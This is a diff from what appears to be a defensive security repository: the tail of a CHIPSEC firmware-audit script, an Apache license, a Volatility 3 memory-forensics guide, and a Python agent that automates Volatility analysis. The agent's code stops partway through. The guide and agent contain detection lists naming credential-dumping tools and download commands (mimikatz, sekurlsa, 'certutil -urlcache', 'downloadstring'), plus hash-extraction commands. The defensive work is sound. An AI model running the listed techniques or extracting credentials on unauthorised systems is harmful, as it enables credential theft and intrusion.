out = {}
|
||||
rc = 0
|
||||
for mod in targets:
|
||||
proc = _run(["chipsec_main", "-m", mod])
|
||||
res = parse_results(proc.stdout)
|
||||
out[mod] = res
|
||||
if any(r["result"] in ("FAILED", "ERROR") for r in res):
|
||||
rc = 1
|
||||
print(json.dumps(out, indent=2))
|
||||
return rc
|
||||
|
||||
|
||||
def cmd_dump(args) -> int:
|
||||
_require("chipsec_util")
|
||||
_warn_root()
|
||||
_run(["chipsec_util", "spi", "info"])
|
||||
proc = _run(["chipsec_util", "spi", "dump", args.out])
|
||||
if proc.returncode != 0 or not os.path.exists(args.out):
|
||||
print("[!] SPI dump failed", file=sys.stderr)
|
||||
print(proc.stderr, file=sys.stderr)
|
||||
return 1
|
||||
size = os.path.getsize(args.out)
|
||||
print(json.dumps({"dump": args.out, "bytes": size}, indent=2))
|
||||
print("[*] decode offline with: chipsec_util uefi decode " + args.out, file=sys.stderr)
|
||||
return 0
|
||||
|
||||
|
||||
def main() -> int:
|
||||
p = argparse.ArgumentParser(description="CHIPSEC firmware-posture audit helper.")
|
||||
sub = p.add_subparsers(dest="cmd", required=True)
|
||||
|
||||
b = sub.add_parser("baseline", help="run full chipsec_main and summarize")
|
||||
b.add_argument("--log", help="CHIPSEC log file path")
|
||||
b.add_argument("--json", help="write parsed JSON report here")
|
||||
b.set_defaults(func=cmd_baseline)
|
||||
|
||||
m = sub.add_parser("module", help="run one or the core security modules")
|
||||
m.add_argument("--name", help="specific module, e.g. common.bios_wp (default: core set)")
|
||||
m.set_defaults(func=cmd_module)
|
||||
|
||||
d = sub.add_parser("dump", help="dump SPI flash (read-only)")
|
||||
d.add_argument("--out", default="rom.bin")
|
||||
d.set_defaults(func=cmd_dump)
|
||||
|
||||
args = p.parse_args()
|
||||
return args.func(args)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,287 @@
|
||||
---
|
||||
name: conducting-memory-forensics-with-volatility
|
||||
description: 'Performs memory forensics analysis using Volatility 3 to extract evidence
|
||||
of malware execution, process injection, network connections, and credential theft
|
||||
from RAM dumps captured during incident response. Covers memory acquisition, process
|
||||
analysis, DLL inspection, and malware detection. Activates for requests involving
|
||||
memory forensics, RAM analysis, Volatility framework, memory dump investigation,
|
||||
volatile evidence analysis, or live memory acquisition.
|
||||
|
||||
'
|
||||
domain: cybersecurity
|
||||
subdomain: incident-response
|
||||
tags:
|
||||
- memory-forensics
|
||||
- volatility
|
||||
- RAM-analysis
|
||||
- process-injection
|
||||
- DFIR
|
||||
mitre_attack:
|
||||
- T1055
|
||||
- T1003.001
|
||||
- T1014
|
||||
- T1059.001
|
||||
- T1620
|
||||
version: 1.0.0
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
nist_csf:
|
||||
- RS.MA-01
|
||||
- RS.MA-02
|
||||
- RS.AN-03
|
||||
- RC.RP-01
|
||||
---
|
||||
|
||||
# Conducting Memory Forensics with Volatility
|
||||
|
||||
## When to Use
|
||||
|
||||
- An endpoint has been contained during an active incident and volatile evidence must be preserved
|
||||
- EDR alerts suggest process injection or fileless malware that only exists in memory
|
||||
- Encryption keys need to be recovered from a ransomware-infected system before shutdown
|
||||
- Credential theft (Mimikatz, LSASS dumping) is suspected and evidence must be confirmed
|
||||
- A rootkit or kernel-level compromise is suspected and disk-based analysis is insufficient
|
||||
|
||||
**Do not use** for analyzing disk images or file system artifacts; use disk forensics tools (Autopsy, FTK) for those tasks.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Memory acquisition tool deployed or available: WinPmem, Magnet RAM Capture, DumpIt, or AVML (Linux)
|
||||
- Volatility 3 installed with Python 3.8+ and required symbol tables
|
||||
- Sufficient storage for memory dumps (equal to system RAM size, typically 8-64 GB)
|
||||
- YARA rules for malware detection in memory (Florian Roth's signature-base, custom rules)
|
||||
- Reference baseline of normal processes and DLLs for the OS version being analyzed
|
||||
- Chain of custody documentation for evidence handling
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Acquire Memory Image
|
||||
|
||||
Capture RAM from the target system using a forensically sound method:
|
||||
|
||||
**Windows (WinPmem):**
|
||||
```
|
||||
winpmem_mini_x64.exe output.raw
|
||||
```
|
||||
|
||||
**Windows (Magnet RAM Capture):**
|
||||
```
|
||||
MagnetRAMCapture.exe
|
||||
# GUI-based, select output path, generates .raw file
|
||||
```
|
||||
|
||||
**Windows (DumpIt):**
|
||||
```
|
||||
DumpIt.exe
|
||||
# Creates memory dump in current directory automatically
|
||||
```
|
||||
|
||||
**Linux (AVML - Acquire Volatile Memory for Linux):**
|
||||
```
|
||||
./avml output.lime
|
||||
```
|
||||
|
||||
Document acquisition metadata:
|
||||
```
|
||||
Acquisition Record:
|
||||
━━━━━━━━━━━━━━━━━
|
||||
Target Host: WKSTN-042
|
||||
RAM Size: 16 GB
|
||||
Dump File: WKSTN-042_20251115_1445.raw
|
||||
Dump Size: 16,843,612,160 bytes
|
||||
SHA-256: a4b3c2d1e5f6...
|
||||
Acquisition Tool: WinPmem 4.0
|
||||
Acquired By: [Analyst Name]
|
||||
Timestamp: 2025-11-15T14:45:00Z
|
||||
```
|
||||
|
||||
### Step 2: Identify the Operating System and Profile
|
||||
|
||||
Volatility 3 automatically identifies the OS, but verify:
|
||||
|
||||
```bash
|
||||
# Get system information
|
||||
vol -f WKSTN-042_20251115_1445.raw windows.info
|
||||
|
||||
# Output includes:
|
||||
# OS: Windows 10 22H2 (Build 19045.3693)
|
||||
# Kernel Base: 0xf8066c200000
|
||||
# DTB: 0x1aa000
|
||||
# Symbols: ntkrnlmp.pdb
|
||||
```
|
||||
|
||||
### Step 3: Analyze Running Processes
|
||||
|
||||
Examine the process tree for suspicious activity:
|
||||
|
||||
```bash
|
||||
# List all running processes
|
||||
vol -f memory.raw windows.pslist
|
||||
|
||||
# Show process tree (parent-child relationships)
|
||||
vol -f memory.raw windows.pstree
|
||||
|
||||
# Scan for hidden/unlinked processes (rootkit detection)
|
||||
vol -f memory.raw windows.psscan
|
||||
|
||||
# Compare pslist vs psscan to find hidden processes
|
||||
# Processes in psscan but NOT in pslist may be hidden by rootkits
|
||||
```
|
||||
|
||||
Key indicators of compromise in process analysis:
|
||||
- `svchost.exe` running without `-k` parameter or with wrong parent (should be `services.exe`)
|
||||
- `csrss.exe` or `lsass.exe` with abnormal parent process
|
||||
- Processes with misspelled names (`scvhost.exe`, `lssas.exe`)
|
||||
- Unusual processes spawned by `outlook.exe`, `winword.exe`, or `excel.exe`
|
||||
- Multiple instances of processes that should be singletons (`lsass.exe`, `smss.exe`)
|
||||
|
||||
### Step 4: Investigate Network Connections
|
||||
|
||||
Extract active and recently closed network connections:
|
||||
|
||||
```bash
|
||||
# List all network connections
|
||||
vol -f memory.raw windows.netscan
|
||||
|
||||
# Focus output fields:
|
||||
# Offset Proto LocalAddr LocalPort ForeignAddr ForeignPort State PID Owner
|
||||
# 0xe10... TCPv4 10.1.5.42 49721 185.220.101.42 443 ESTAB 3847 update.exe
|
||||
```
|
||||
|
||||
Cross-reference suspicious connections with the process tree to identify C2 communications. Look for:
|
||||
- Connections to external IPs from unexpected processes
|
||||
- High port numbers connecting to port 443/80 from non-browser processes
|
||||
- Connections from `svchost.exe` or system processes to external IPs
|
||||
|
||||
### Step 5: Detect Process Injection and Malware
|
||||
|
||||
Use malfind to identify injected code and memory-resident malware:
|
||||
|
||||
```bash
|
||||
# Detect injected code in processes
|
||||
vol -f memory.raw windows.malfind
|
||||
|
||||
# Output shows:
|
||||
# PID Process Start End Tag Protection Hexdump/Disassembly
|
||||
# 3847 explorer.exe 0x2a10000 0x2a14000 VadS PAGE_EXECUTE_READWRITE
|
||||
# MZ header detected - injected PE
|
||||
|
||||
# Dump suspicious process memory
|
||||
vol -f memory.raw windows.memmap --pid 3847 --dump
|
||||
|
||||
# List DLLs loaded by a suspicious process
|
||||
vol -f memory.raw windows.dlllist --pid 3847
|
||||
|
||||
# Scan memory with YARA rules
|
||||
vol -f memory.raw windows.yarascan --yara-file malware_rules.yar
|
||||
```
|
||||
|
||||
### Step 6: Extract Credentials and Artifacts
|
||||
|
||||
Recover sensitive data from memory:
|
||||
|
||||
```bash
|
||||
# Dump registry hives from memory (for password hash extraction)
|
||||
vol -f memory.raw windows.registry.hivelist
|
||||
vol -f memory.raw windows.hashdump
|
||||
|
||||
# Extract command line history
|
||||
vol -f memory.raw windows.cmdline
|
||||
|
||||
# List handles (files, registry keys, mutexes)
|
||||
vol -f memory.raw windows.handles --pid 3847
|
||||
|
||||
# Extract clipboard contents
|
||||
vol -f memory.raw windows.clipboard
|
||||
|
||||
# Dump cached files from memory
|
||||
vol -f memory.raw windows.dumpfiles --pid 3847
|
||||
```
|
||||
|
||||
### Step 7: Generate Forensic Report
|
||||
|
||||
Compile findings into a structured analysis report documenting all evidence extracted from memory:
|
||||
|
||||
- Process anomalies with PIDs, parent processes, and timestamps
|
||||
- Network connections with associated process context
|
||||
- Injected code regions with memory protection flags
|
||||
- Extracted IOCs (hashes, IPs, domains, mutexes, registry keys)
|
||||
- YARA rule matches with rule names and match offsets
|
||||
- Credential exposure (hashes found, accounts at risk)
|
||||
|
||||
## Key Concepts
|
||||
|
||||
| Term | Definition |
|
||||
|------|------------|
|
||||
| **Volatile Evidence** | Data that exists only in RAM and is lost when a system is powered off; includes running processes, network connections, encryption keys |
|
||||
| **Process Injection** | Technique where malware inserts code into a legitimate process's memory space to evade detection (malfind detects this) |
|
||||
| **EPROCESS** | Windows kernel data structure representing a process; psscan searches for these structures even when unlinked from the active process list |
|
||||
| **VAD (Virtual Address Descriptor)** | Windows kernel structure tracking memory regions allocated to a process; malfind examines VADs for executable but non-file-backed regions |
|
||||
| **Symbol Tables** | OS-specific data structures that Volatility 3 uses to parse memory; downloaded automatically based on detected OS version |
|
||||
| **PAGE_EXECUTE_READWRITE** | Memory protection flag indicating a region is readable, writable, and executable; common indicator of injected malicious code |
|
||||
| **Memory-Resident Malware** | Malware that operates entirely in RAM without writing persistent files to disk, making it invisible to traditional disk-based antivirus |
|
||||
|
||||
## Tools & Systems
|
||||
|
||||
- **Volatility 3**: Primary open-source memory forensics framework; Python 3 rewrite with automatic symbol resolution
|
||||
- **WinPmem / DumpIt / Magnet RAM Capture**: Memory acquisition tools for Windows systems
|
||||
- **AVML (Acquire Volatile Memory for Linux)**: Microsoft's open-source Linux memory acquisition tool
|
||||
- **YARA**: Pattern matching engine for scanning memory dumps against malware signatures and behavioral rules
|
||||
- **MemProcFS**: Memory analysis tool that presents memory as a virtual file system for intuitive browsing
|
||||
|
||||
## Common Scenarios
|
||||
|
||||
### Scenario: Detecting Cobalt Strike Beacon in Memory
|
||||
|
||||
**Context**: EDR detects suspicious named pipe activity but cannot identify the source. A memory dump is acquired from the suspect endpoint for analysis.
|
||||
|
||||
**Approach**:
|
||||
1. Run `windows.pstree` to identify the process hierarchy and spot abnormal parent-child relationships
|
||||
2. Run `windows.malfind` to detect injected code regions, particularly in `svchost.exe` or `rundll32.exe`
|
||||
3. Dump the injected memory region and scan with YARA rules for Cobalt Strike beacon signatures
|
||||
4. Run `windows.netscan` to identify C2 connections and correlate with the injected process PID
|
||||
5. Extract the beacon configuration (C2 URLs, sleep time, jitter, watermark) using CobaltStrikeParser
|
||||
6. Run `windows.cmdline` to identify any post-exploitation commands executed
|
||||
|
||||
**Pitfalls**:
|
||||
- Analyzing only the process list without running malfind (missing injected code in legitimate processes)
|
||||
- Not capturing memory before isolating the endpoint (EDR containment may trigger malware self-deletion)
|
||||
- Using Volatility 2 profiles instead of Volatility 3 automatic symbol resolution on newer Windows versions
|
||||
|
||||
## Output Format
|
||||
|
||||
```
|
||||
MEMORY FORENSICS ANALYSIS REPORT
|
||||
==================================
|
||||
Incident: INC-2025-1547
|
||||
Evidence File: WKSTN-042_20251115_1445.raw
|
||||
SHA-256: a4b3c2d1e5f6...
|
||||
OS Identified: Windows 10 22H2 (Build 19045)
|
||||
Analysis Tool: Volatility 3.2.0
|
||||
|
||||
PROCESS ANOMALIES
|
||||
PID Process Parent Anomaly
|
||||
3847 update.exe powershell Suspicious executable in Temp directory
|
||||
5102 svchost.exe explorer Wrong parent (expected services.exe)
|
||||
--- [hidden] --- Found in psscan but not pslist
|
||||
|
||||
INJECTED CODE
|
||||
PID Process Address Range Protection Finding
|
||||
5102 svchost.exe 0x00A10000-0x00A14 PAGE_EXECUTE_READWRITE MZ header (PE injection)
|
||||
|
||||
NETWORK CONNECTIONS
|
||||
PID Process Local Foreign State
|
||||
3847 update.exe 10.1.5.42:49721 185.220.101.42:443 ESTABLISHED
|
||||
5102 svchost.exe 10.1.5.42:51003 91.215.85.17:8443 ESTABLISHED
|
||||
|
||||
YARA MATCHES
|
||||
Rule: CobaltStrike_Beacon_x64
|
||||
Match PID: 5102 (svchost.exe)
|
||||
Offset: 0x00A10240
|
||||
|
||||
EXTRACTED IOCS
|
||||
Hashes: [SHA-256 of dumped injected code]
|
||||
C2 IPs: 185.220.101.42, 91.215.85.17
|
||||
C2 Domains: [extracted from beacon config]
|
||||
Mutexes: Global\MSCTF.Shared.MUTEX.ZRQ
|
||||
```
|
||||
@@ -0,0 +1,61 @@
|
||||
# API Reference: Memory Forensics Agent (Volatility 3)
|
||||
|
||||
## Overview
|
||||
|
||||
Automates memory forensics analysis using Volatility 3: process listing, network connections, process injection detection, command line extraction, and hidden driver/rootkit detection.
|
||||
|
||||
## Dependencies
|
||||
|
||||
| Package | Version | Purpose |
|
||||
|---------|---------|---------|
|
||||
| volatility3 | >=2.0 | Memory forensics framework (subprocess) |
|
||||
|
||||
## CLI Usage
|
||||
|
||||
```bash
|
||||
python agent.py --memory-file memory.raw --output forensics_report.json
|
||||
```
|
||||
|
||||
## Key Functions
|
||||
|
||||
### `run_volatility(memory_file, plugin, extra_args)`
|
||||
Executes a Volatility 3 plugin via subprocess and parses tab-delimited output into dictionaries.
|
||||
|
||||
### `analyze_processes(memory_file)`
|
||||
Runs `windows.pslist` and flags processes matching known offensive tools (mimikatz, cobalt, meterpreter, psexec).
|
||||
|
||||
### `analyze_network_connections(memory_file)`
|
||||
Runs `windows.netscan` to extract network connections and filters for ESTABLISHED state.
|
||||
|
||||
### `detect_process_injection(memory_file)`
|
||||
Runs `windows.malfind` to detect injected code in process memory (RWX pages with executable content).
|
||||
|
||||
### `analyze_dlls(memory_file, pid)`
|
||||
Lists loaded DLLs for a specific process or all processes via `windows.dlllist`.
|
||||
|
||||
### `extract_command_history(memory_file)`
|
||||
Runs `windows.cmdline` and flags suspicious patterns (encoded PowerShell, credential dumping, LOLBins).
|
||||
|
||||
### `check_kernel_modules(memory_file)`
|
||||
Compares `windows.modules` with `windows.driverscan` to detect hidden/rootkit drivers.
|
||||
|
||||
## Volatility 3 Plugins Used
|
||||
|
||||
| Plugin | Purpose |
|
||||
|--------|---------|
|
||||
| `windows.pslist` | List running processes |
|
||||
| `windows.netscan` | Extract network connections |
|
||||
| `windows.malfind` | Detect process injection |
|
||||
| `windows.dlllist` | List loaded DLLs |
|
||||
| `windows.cmdline` | Extract command line arguments |
|
||||
| `windows.registry.hivelist` | List registry hives |
|
||||
| `windows.modules` | List kernel modules |
|
||||
| `windows.driverscan` | Scan for driver objects |
|
||||
|
||||
## Suspicious Process Indicators
|
||||
|
||||
Processes flagged: mimikatz, procdump, psexec, cobalt, beacon, meterpreter, nc.exe, ncat, certutil, bitsadmin, mshta, regsvr32, wscript, cscript.
|
||||
|
||||
## Suspicious Command Patterns
|
||||
|
||||
Commands flagged: `powershell -enc`, `invoke-expression`, `downloadstring`, `net user`, `sekurlsa`, `lsadump`, `reg save`, `vssadmin`, `certutil -urlcache`, `bitsadmin /transfer`.
|
||||
@@ -0,0 +1,173 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Memory Forensics Agent - Automates Volatility 3 analysis of memory dumps for incident response."""
|
||||
|
||||
import json
|
||||
import logging
|
||||
import argparse
|
||||
import subprocess
|
||||
from datetime import datetime
|
||||
|
||||
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def run_volatility(memory_file, plugin, extra_args=None):
|
||||
"""Execute a Volatility 3 plugin and return parsed output."""
|
||||
cmd = ["vol", "-f", memory_file, plugin]
|
||||
if extra_args:
|
||||
cmd.extend(extra_args)
|
||||
result = subprocess.run(cmd, capture_output=True, text=True, timeout=600)
|
||||
if result.returncode != 0:
|
||||
logger.error("Volatility plugin %s failed: %s", plugin, result.stderr[:200])
|
||||
return []
|
||||
lines = result.stdout.strip().split("\n")
|
||||
if len(lines) < 2:
|
||||
return []
|
||||
headers = [h.strip() for h in lines[0].split("\t")]
|
||||
rows = []
|
||||
for line in lines[1:]:
|
||||
if line.strip() and not line.startswith("*"):
|
||||
fields = [f.strip() for f in line.split("\t")]
|
||||
if len(fields) == len(headers):
|
||||
rows.append(dict(zip(headers, fields)))
|
||||
logger.info("Plugin %s returned %d rows", plugin, len(rows))
|
||||
return rows
|
||||
|
||||
|
||||
def analyze_processes(memory_file):
|
||||
"""List running processes and identify suspicious ones."""
|
||||
processes = run_volatility(memory_file, "windows.pslist")
|
||||
suspicious = []
|
||||
suspicious_names = [
|
||||
"mimikatz", "procdump", "psexec", "cobalt", "beacon", "meterpreter",
|
||||
"nc.exe", "ncat", "powershell", "cmd.exe", "wscript", "cscript",
|
||||
"certutil", "bitsadmin", "mshta", "regsvr32",
|
||||
]
|
||||
for proc in processes:
|
||||
name = proc.get("ImageFileName", "").lower()
|
||||
if any(s in name for s in suspicious_names):
|
||||
proc["suspicious_reason"] = "Known offensive tool"
|
||||
suspicious.append(proc)
|
||||
logger.info("Processes: %d total, %d suspicious", len(processes), len(suspicious))
|
||||
return processes, suspicious
|
||||
|
||||
|
||||
def analyze_network_connections(memory_file):
|
||||
"""Extract network connections and identify C2 communication."""
|
||||
connections = run_volatility(memory_file, "windows.netscan")
|
||||
established = [c for c in connections if c.get("State") == "ESTABLISHED"]
|
||||
logger.info("Network connections: %d total, %d established", len(connections), len(established))
|
||||
return connections, established
|
||||
|
||||
|
||||
def detect_process_injection(memory_file):
|
||||
"""Detect process injection using malfind plugin."""
|
||||
malfind_results = run_volatility(memory_file, "windows.malfind")
|
||||
injected = []
|
||||
for entry in malfind_results:
|
||||
injected.append({
|
||||
"pid": entry.get("PID", ""),
|
||||
"process": entry.get("Process", ""),
|
||||
"start_vpn": entry.get("Start VPN", ""),
|
||||
"protection": entry.get("Protection", ""),
|
||||
"tag": entry.get("Tag", ""),
|
||||
})
|
||||
logger.info("Malfind: %d potential injections detected", len(injected))
|
||||
return injected
|
||||
|
||||
|
||||
def analyze_dlls(memory_file, pid=None):
|
||||
"""List loaded DLLs for a process or all processes."""
|
||||
args = ["--pid", str(pid)] if pid else None
|
||||
dlls = run_volatility(memory_file, "windows.dlllist", args)
|
||||
return dlls
|
||||
|
||||
|
||||
def extract_command_history(memory_file):
|
||||
"""Extract command line history from process memory."""
|
||||
cmdline = run_volatility(memory_file, "windows.cmdline")
|
||||
suspicious_cmds = []
|
||||
indicators = [
|
||||
"powershell -enc", "invoke-expression", "downloadstring", "net user",
|
||||
"mimikatz", "sekurlsa", "lsadump", "reg save", "vssadmin",
|
||||
"certutil -urlcache", "bitsadmin /transfer",
|
||||
]
|
||||
for entry in cmdline:
|
||||
args = entry.get("Args", "").lower()
|
||||
if any(ind in args for ind in indicators):
|
||||
entry["suspicious_reason"] = "Suspicious command pattern"
|
||||
suspicious_cmds.append(entry)
|
||||
logger.info("Command lines: %d total, %d suspicious", len(cmdline), len(suspicious_cmds))
|
||||
return cmdline, suspicious_cmds
|
||||
|
||||
|
||||
def extract_registry_hives(memory_file):
|
||||
"""List registry hives in memory."""
|
||||
hives = run_volatility(memory_file, "windows.registry.hivelist")
|
||||
logger.info("Registry hives: %d found", len(hives))
|
||||
return hives
|
||||
|
||||
|
||||
def check_kernel_modules(memory_file):
|
||||
"""List kernel modules and detect potential rootkits."""
|
||||
modules = run_volatility(memory_file, "windows.modules")
|
||||
drivers = run_volatility(memory_file, "windows.driverscan")
|
||||
hidden = []
|
||||
module_names = {m.get("Name", "").lower() for m in modules}
|
||||
for driver in drivers:
|
||||
if driver.get("Name", "").lower() not in module_names:
|
||||
hidden.append(driver)
|
||||
logger.warning("Hidden driver detected: %s", driver.get("Name"))
|
||||
return modules, hidden
|
||||
|
||||
|
||||
def generate_forensics_report(memory_file, processes, suspicious_procs, connections,
|
||||
injections, suspicious_cmds, hidden_drivers):
|
||||
"""Generate memory forensics analysis report."""
|
||||
report = {
|
||||
"memory_image": memory_file,
|
||||
"analysis_timestamp": datetime.utcnow().isoformat(),
|
||||
"process_summary": {
|
||||
"total": len(processes),
|
||||
"suspicious": len(suspicious_procs),
|
||||
"details": suspicious_procs[:20],
|
||||
},
|
||||
"network_connections": {
|
||||
"established": len(connections),
|
||||
"details": connections[:20],
|
||||
},
|
||||
"process_injection": {
|
||||
"count": len(injections),
|
||||
"details": injections[:20],
|
||||
},
|
||||
"suspicious_commands": suspicious_cmds[:20],
|
||||
